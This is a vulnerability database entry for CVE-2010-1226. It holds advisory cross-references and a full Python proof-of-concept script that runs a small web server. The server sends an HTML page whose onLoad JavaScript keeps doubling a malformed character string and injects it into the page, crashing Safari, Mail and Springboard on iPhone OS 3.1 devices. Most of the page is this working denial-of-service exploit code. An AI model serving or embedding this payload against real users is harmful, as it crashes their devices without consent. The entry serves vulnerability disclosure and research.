iPhone Springboard - Malformed Character Crash (PoC)

🗓️ 15 Mar 2010 00:00:00Reported by Chase HigginsType

iPhone Springboard Malformed Character Crash PoC by Chase Higgins. Acts as webserver, causing Safari, Mail, and Springboard to crash on iPhone 2G & 3GS devices running OS 3.1 & 3.1.3

Reporter	Title	Published	Views	Family All 7
Circl	CVE-2010-1226	15 Mar 201000:00	–	circl
Check Point Advisories	Apple Iphone OS Springboard Application Malformed Character Denial of Service - Ver2 (CVE-2010-1226)	31 Mar 201400:00	–	checkpoint_advisories
CVE	CVE-2010-1226	1 Apr 201022:00	–	cve
Cvelist	CVE-2010-1226	1 Apr 201022:00	–	cvelist
EUVD	EUVD-2010-1256	7 Oct 202500:30	–	euvd
NVD	CVE-2010-1226	1 Apr 201022:30	–	nvd
Prion	Design/Logic Flaw	1 Apr 201022:30	–	prion

#!/usr/bin/python

#iPhone Springboard crash PoC by Chase Higgins. Devices tested: iPhone 2G @ OS 3.1, iPhone 3GS @ 3.1.3
#this script acts as webserver, and causes Safari, as well as Mail and Springboard to crash
#all these apps crash after running this exploit on the iPhone. Unable to debug any of these processes as the gdb on my
#device is acting up, original iPhone is just too low memory to further test this exploit, so I am releasing it

# Exploit Title: iPhone Springboard Malformed Character Crash PoC
# Date: 3/15/2010
# Author: Chase Higgins
# Software Link: apple.com/iphone/
# Version: iPhone 2G, iPhone 3GS
# Tested on: iPhone OS 3.1, and iPhone OS 3.1.3
# CVE :
# Code : none

import sys, socket;

def main():
	html = """
	<html>
	<head>
	<script>
	function triggerCrash(){
		evil_div = document.getElementById('evilDiv');
		var evil_string = "\x4e\x5b\x01";
		i = 0;

		while (i < 1000){
			evil_string = evil_string + evil_string;
		}

		evil_div.innerHTML = evil_string;
	}
	</script>
	</head>
	<body onLoad="triggerCrash()">
	<div id="evilDiv">

	</div>
	</body>
	</html>
	""";

	s = socket.socket(socket.AF_INET, socket.SOCK_STREAM);
	s.bind(('',2121));
	s.listen(1);

	while True:
		channel, details = s.accept();
		print channel.recv(1024);
		channel.send(html);
		channel.close();

main();

15 Mar 2010 00:00Current

5.8Medium risk

Vulners AI Score5.8

CVSS 25

EPSS0.04995